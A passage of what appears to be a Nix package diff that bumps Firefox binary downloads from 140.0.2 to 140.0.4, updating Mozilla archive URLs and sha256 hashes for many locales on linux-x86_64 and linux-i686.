-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/pt-PT/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/pt-PT/firefox-140.0.4.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "0fcb53162dade58f21fda891c67b582dc54abbd230f5ff52731ee7441a14c40b";
+      sha256 = "3888619d2961ae318b80554a1a96d6a1217775b73fd420cab7c7550db213677d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/rm/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/rm/firefox-140.0.4.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "a9107f9abf695219c162c916f3a9b524833a56481e5601a8a991929a92c504ef";
+      sha256 = "454c0d5c4206dc40aa4d1466c68bfa34a14dffadc39b4f1389c08396cbfc6a2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ro/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ro/firefox-140.0.4.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "ac9d146306ff772630e69bf4401a1a4132768ce09a2d99d65cde404d57f4347a";
+      sha256 = "36e688a7fd8de7faa6137b8f18c529af29c1ddb4127f13522d1e764a96a0359f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ru/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ru/firefox-140.0.4.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "869e9d4bb40782997ca61117adefb2fff9fc65c88a3842a5ea427cbae34f7ab0";
+      sha256 = "b58eff8dd606fc072aec5d2a5c05aaf3f1be24df50ebe229f67ae470fc0de77e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sat/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sat/firefox-140.0.4.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "f3196ca979279dcce6a77cce8ea5a52bf59173ba739862abb72348601eede52e";
+      sha256 = "359ea9fa726ae7cf85e8c4e3b93ac229fd1eb1e6aadfcd80202f43261f230b2d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sc/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sc/firefox-140.0.4.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "7e4c790af8176f4402cfa5be91fc5235b917ee4e061a42e36141c907133f6289";
+      sha256 = "019e0c4b5efa01ccf11c648ea5926b06723b8347dc40a510dc8943d6f3f9398c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sco/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sco/firefox-140.0.4.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "2ed21bbbf843179dd49b6f45ec9d92cc71206ff883836bb91ea38e652259df2a";
+      sha256 = "579aa32bf96feaf1802661cb76ee71e2e86eab5eef165427ffd17221d930a424";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/si/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/si/firefox-140.0.4.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "913bd04c526982236f7b36722e9fb9c5e0efe001261dc51a9a458467d0b32cdc";
+      sha256 = "36bbcbf0c69c94dcaa5f7d83a210803e62aa4e7681ea265ff940b450809a8c9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sk/firefox-140.0.4.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "23431f9be624313c735504839e57fe9d47a529f54e6d7f7b4b89c6d65dca46e1";
+      sha256 = "4c0d7fd27b2d6f13b9fbb46bc60d0d0fae3ccc0a48964d8b76fd755abb09b6c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/skr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/skr/firefox-140.0.4.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "2a55f81b4539d4ae3e67c3b38f908d7c89a0d21c679c9c1a66eff3fb132aeef2";
+      sha256 = "a36eb3eff2841cf74a826ecfdf5e9bba0f002dbfbdbd047efa666f017b4b8990";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sl/firefox-140.0.4.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "83b3ed4227201fe2bb211a9220075e81a4e25ca474a270ff3dab3aede93f0bda";
+      sha256 = "94907dcffdcb458d689f07d44d593bebb626b8e33369f8430bb832af3ebbeb31";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/son/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/son/firefox-140.0.4.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "bc6b2351357684f75284fe37afa3ea12ca671fa12d848fefc018e4bf7a28f29c";
+      sha256 = "2361e0fe70ce80a749202033a108cdd5f452bde4f6d1aabe93bac29f111099be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sq/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sq/firefox-140.0.4.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "7e4858b0ba7ffbe8070a1c87fbeb4a2478366ed4bf4f3ef14ed2604159c2834d";
+      sha256 = "0b10efa397b9374633f1e6cdd96e6c0db209fbbbecea9f5b2ace09387f0d0632";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sr/firefox-140.0.4.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "9a6a1ca2d911b33b98941e1173004986f1bebc186e1a6a65dc6e99b2d27905f2";
+      sha256 = "d3d1ee2abed6d1f4a7141266dc91607f63e99050bb8604d42d57fb84ec4b0ad1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sv-SE/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/sv-SE/firefox-140.0.4.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "34195b184fa6a8aad50e90786be62602544d2d468b8f4cd0fab941b6f2cfc376";
+      sha256 = "861ec995d3c583b3923bc3341eeef98798081efad4aed440c85db7d68c17e633";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/szl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/szl/firefox-140.0.4.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "72b8cfe0a99403d735d95efbba2c6e697703bb2fdbd1adbce0121374d6b90c79";
+      sha256 = "cf15037296dc5d8d12473c7d6b35d76212e18737e615bad47618544770689e30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ta/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ta/firefox-140.0.4.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "9c0d4011f1705ec2a87d64e6ac326be24a310a9f33a50731433b341a70bd924d";
+      sha256 = "b67ecba9a19f933c2119a360bc32155933bbf58880682e9a92d611413839e3f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/te/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/te/firefox-140.0.4.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "9f880735a73310bb3f8e09b8b80f3e36a57a4349c9ef9611956a87445ded12b2";
+      sha256 = "3a7f66d6301d732aa1f7a38b543af171217981752422adc8369bb0d2fa57960e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/tg/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/tg/firefox-140.0.4.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "a92a1c3cd36de8882d23a70c7191001f01846ef0deff1065568d59ccd924376e";
+      sha256 = "7f7d9279462f9258d34d5c244ee05f7b550c077783de99826f98c85c1b18a1de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/th/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/th/firefox-140.0.4.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "a3b38ae33a09730acfb862a3ec698f8efe87c42c7048ac0012fadf759c663de7";
+      sha256 = "7f66f1da57dcb7d66d01df6dde1a6164c2b67547de375f922f3b969da44b0c4c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/tl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/tl/firefox-140.0.4.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "d5429936c9f02d9a9325a30daad2465df66f90e8c5a500b067b5b975cc7a69f9";
+      sha256 = "e5e537353c36f62fe81665e568b58a628cbded6e3878b6f7cd0a4c1595f66a7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/tr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/tr/firefox-140.0.4.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "1ad4d75abb9ce983dd053d9edcb3b910e3d8aa1694c493e64cf336685cdee44e";
+      sha256 = "1a1234f1d51aa51914e0a7b0691119f7db59e2fdec984ac7a050f6146165094c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/trs/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/trs/firefox-140.0.4.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "fbf0f946a55c741d8d93b0d7ec4c6acff39c11f7adaf53d0bb52b3abac7549f9";
+      sha256 = "f2daf710fca9ef775dacb674666248b263f17de8aafbe104057883b9cb8ab082";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/uk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/uk/firefox-140.0.4.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "f35e7cd88bc7a0d04e9d332e4e1d146087f3b1cd1e7823014c9be433e2b74919";
+      sha256 = "ccde5546dfffdf689266eb5d775e515788720e3ee9fd604040f5fa1159a13629";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ur/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ur/firefox-140.0.4.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "5e6a5ca058ebfe254c98871e2f0acc5023a3d71979c7610b56b8cd579ad796a9";
+      sha256 = "d341965dbe1d7b5e97a259616c656241d70b79475edb66f496eb12b847c7b8b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/uz/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/uz/firefox-140.0.4.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "b554070e63c7cce2e0e529262cb09028aa525f4a95a867456ab27b01d5bfd6a0";
+      sha256 = "10be44ae71670ff47a6a5d5770a66ae72f0de6c9f92b20ad5ba4e35c513c7c21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/vi/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/vi/firefox-140.0.4.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "18eba0e1d2825c49ca791a13b967cda18150811c4af7645a75eea193145f7a19";
+      sha256 = "0f62936990ed1b09fa802076f5a3fac6e0124abc7b00e2b21eb3d99f67b9a93c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/xh/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/xh/firefox-140.0.4.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "59650b315866f02f2d9fb5dfd3bce4099e6b4aa48653553a730a85cd30b5ff9e";
+      sha256 = "5a2b8e9bb73887c7bf67dcbdba8107276865c6acc5f068097762ea6423363b69";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/zh-CN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/zh-CN/firefox-140.0.4.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "8c9d65d9462b8982157355145989e7e249242830d1d759cfa48164de7f76d406";
+      sha256 = "7e9414f774c20db478855bda61ac92b4391b71b67926a3c0500ade8b02a50118";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/zh-TW/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/zh-TW/firefox-140.0.4.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "77e66e8fed62f2899cc25e39906736dfdbb3efb56b2f29ce208b01f2b46ea9e0";
+      sha256 = "91745033ba539697affd88bc38b907e8611366ab920e0368f7c32d58995ec38a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ach/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ach/firefox-140.0.4.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "85ebde10a333bab7282b175ff3ad2eaa519b91b0746a6e59e19a4677774c1a14";
+      sha256 = "1186084f9cb050042d78e286a31cf8638025a86323e35980646a7097117af318";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/af/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/af/firefox-140.0.4.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "ef4f11da9cefd5cccfb7ebeba2f6571fa69ecee0604e481d38bdb2c10e37cd43";
+      sha256 = "2a38b0c0ef06cee8b82618b1590a381c4aa986db7fb2a4c5c95e8c84ecaf7cb3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/an/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/an/firefox-140.0.4.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "322c2ff75021e6033236c5af8952593bc11035d1b936391de0c6d7b8859caf97";
+      sha256 = "14be6b274071b90e28b31eaced6fb55c8aa802f812ee844895f05a6976a7b67c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ar/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ar/firefox-140.0.4.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "e4b9b54bdc05614d209df3c5480539843eb7b832ba48e336d16846de63f7338b";
+      sha256 = "2fd0c0cb5059f4982c3b47350bd20e1a75c61e556b0624eb48e5842ed7651adb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ast/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ast/firefox-140.0.4.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "f83d9920819e2d7e4746ecada967c151dff1a010054f6994f52b211e1d39f2c6";
+      sha256 = "73d6547c8e24b39cf93f10f58f72198108967eb3f8b00bad07ffd62f01ffa528";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/az/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/az/firefox-140.0.4.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "8741405c7173581127bab43cd3bb12b89a5a5af2d0bd62326d0aa35aaf068b9b";
+      sha256 = "79fb1f46eae41d4bff468e72de977282c353936fcd8a3e3cf7503bc324284183";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/be/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/be/firefox-140.0.4.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "72402f8097dd729b430890de299ee3833eb7d9766837746f475c2caa094031d0";
+      sha256 = "dc68865f6e1946c94828eecf8f3d8f036e31a0e39628f15b68b434c05e6236e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/bg/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/bg/firefox-140.0.4.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "36a5940709aa5f0083f34eec767185d3774a7e17ccba12f50e92e7b3e52a05c7";
+      sha256 = "105a93713444c9e121945073ed075530ea8cf6de27304f51eda03d97fc390be1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/bn/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/bn/firefox-140.0.4.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "f5a74bc15c324e22eccff2e780be09622300c979ec2c817ae4795c063a3e97b1";
+      sha256 = "689007b39930b173756e9dd0f07db52dddd7af05ab75058103a22af1bdf2f243";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/br/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/br/firefox-140.0.4.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "8b212f1b1697eb31e0145858171e32c59e21d0af2a557b29f11f41ec8f964365";
+      sha256 = "f7f4fdddc29c097eba6d19cf9956c0e1e57a6319d8e8b595d75c818a5aeb2969";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/bs/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/bs/firefox-140.0.4.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "687ff1bbee0f71afb3a59c6287a9ecaee4bba60e670373e5d72b212d4a367a8b";
+      sha256 = "f03d2f78cee1bb7ff52191daf0aefa020051135876e93584705a576ceab2c000";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ca-valencia/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ca-valencia/firefox-140.0.4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "3bdb6457717e87d4af1a59199dfca5983483a7e6af2b7e89114cd764d9e0ac26";
+      sha256 = "f374f49c3b99ef7a4ab5971476088e0a795f51b79c78bb107735736fb02608cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ca/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ca/firefox-140.0.4.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "6731d518a8550a2cf474fe3c661735bec5724d4774d84c0b2a56eaffe850bec9";
+      sha256 = "19ee5381f86227c2cece4d0bc17bb91a903d2d3f91ef426962ed4088fa420a5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/cak/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/cak/firefox-140.0.4.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "b6c74cf2cf12a738824aba735f8c975bb3d1f7f4f4fb3349c781d01425ef3244";
+      sha256 = "d2ee2f40482b9b2e38c30845ad2e81a22adeade19ac4d9bbd74c65457bc60372";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/cs/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/cs/firefox-140.0.4.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "ff68d28c13e14aa22e9162ebf7846e12ea9fa93e5dd486e862cab909d15ffc18";
+      sha256 = "e6d69d98553b603912cee8d1c4a34055b9ab1eacff80c7951bc171e792e760f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/cy/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/cy/firefox-140.0.4.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "69d45fdabca475a679dac82e5e9ff524a93219fa7472d859850b3e48b09bd77a";
+      sha256 = "eb66fd829f0c8824aa6b591e9a493ab09014c5a0ce1f6964228eda7ae55c78be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/da/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/da/firefox-140.0.4.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "13d854824d0a07aa091625e9a3fb558d5bc1f0cd495ca053aa259a089a7633e1";
+      sha256 = "01dd245a9277b95134001c1c96a1f3a82af274a76034e307695d8f1c1793bc26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/de/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/de/firefox-140.0.4.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "f63a41183122ede2c0b3313fcdb5aad9a39ffa980fb99034c2fbfdf2f0139ee4";
+      sha256 = "31f6ead3bc8c4dd96a7f6f4471090f36a7783ba35aff21aa4809257d713f837c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/dsb/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/dsb/firefox-140.0.4.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "dc0bcf2150fb45189e99ed532420d6015a965394c8c57618329a2192dd7e5a21";
+      sha256 = "8e88de458d493f789912612b1c90f444eab638ad300db42142ed17683c4980ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/el/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/el/firefox-140.0.4.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "a74fd1c406a2f4960cbe3a800bd0e40466f0a001f0bd64a3dd30ce50af3c7ed0";
+      sha256 = "799de2a52b142ab9c506a839c7adb9d9c1bdc06a1ab59ba4713a8b950fe6173d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/en-CA/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/en-CA/firefox-140.0.4.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "9d96ba8a39774235137f6748c59895a3cf95380904d93a4891b521b3f2c692f9";
+      sha256 = "a5385017f0ac16e01be9f62034e1e598e52f0b89095538f060f52323e77364e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/en-GB/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/en-GB/firefox-140.0.4.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "b8fe905ea964649b0c4ca6703bdfa4e484974fb9717c8dd6d313c23c066261b0";
+      sha256 = "6ae767b1b34a59c7e0ef1df07367ad47a396f68c50577ae537d888ab6f7ae692";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/en-US/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/en-US/firefox-140.0.4.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "7237c46e28e15c58ab9c3d35a75cf32f669c0bea0224f66f7742fb30289faa53";
+      sha256 = "eafcda88f4a296ee1b67936cc6caf44650f3c109f208c86729ba029ba78378ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/eo/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/eo/firefox-140.0.4.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "c9528279e1d2f61cfb397a969fc5f28ec0b046b02e76f8b0fe3940f65c0519b7";
+      sha256 = "92ada3e5fb02c36d2e8c1bfe8bac1adb522f5d528e355b368b887a07b44b764b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/es-AR/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/es-AR/firefox-140.0.4.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "6d387d863437f98a8a608a3236d1211c3650189c30449251d79fce0cde44db19";
+      sha256 = "838667df7f1454bb55f8c55cb92ea4feb0a4c6d7c85aa77670a8bdb607a3759f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/es-CL/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/es-CL/firefox-140.0.4.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "389faa055f1e16f3f8dab4ec2a734597cabfd11fb2c84d1cf9d5d9220bdffeeb";
+      sha256 = "2af8df8d4192e875c750c6689e44eb18c21dbae9e7db73f0def9df63c89e36f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/es-ES/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/es-ES/firefox-140.0.4.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "a72790c89cac16d0d072f8b2dfe95497b924c9fcdb9373cbc5a7f28d73f3d108";
+      sha256 = "76667eef65181a671dcf5624c60c13d529ebabd2fd3c541886ec568cef6d81c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/es-MX/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/es-MX/firefox-140.0.4.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "22370da2c4a6a72f82fe2f4134a890b2e5232095037a8f2d6ae2fa3578eb99dd";
+      sha256 = "9d92bab5185b98dd57da6c49f65a6f67937edb39027dae66f745a1292bd574f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/et/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/et/firefox-140.0.4.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "5a322b8185f8dc0aa940c0c4f00ded6db90a010f6a6680eda909fef8cb200674";
+      sha256 = "ac1b2e960d0d57d03b0e08afd7fe4426c4aedbc4bb9d24aef77182aa8480a8f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/eu/firefox-140.0.2.tar.xz";
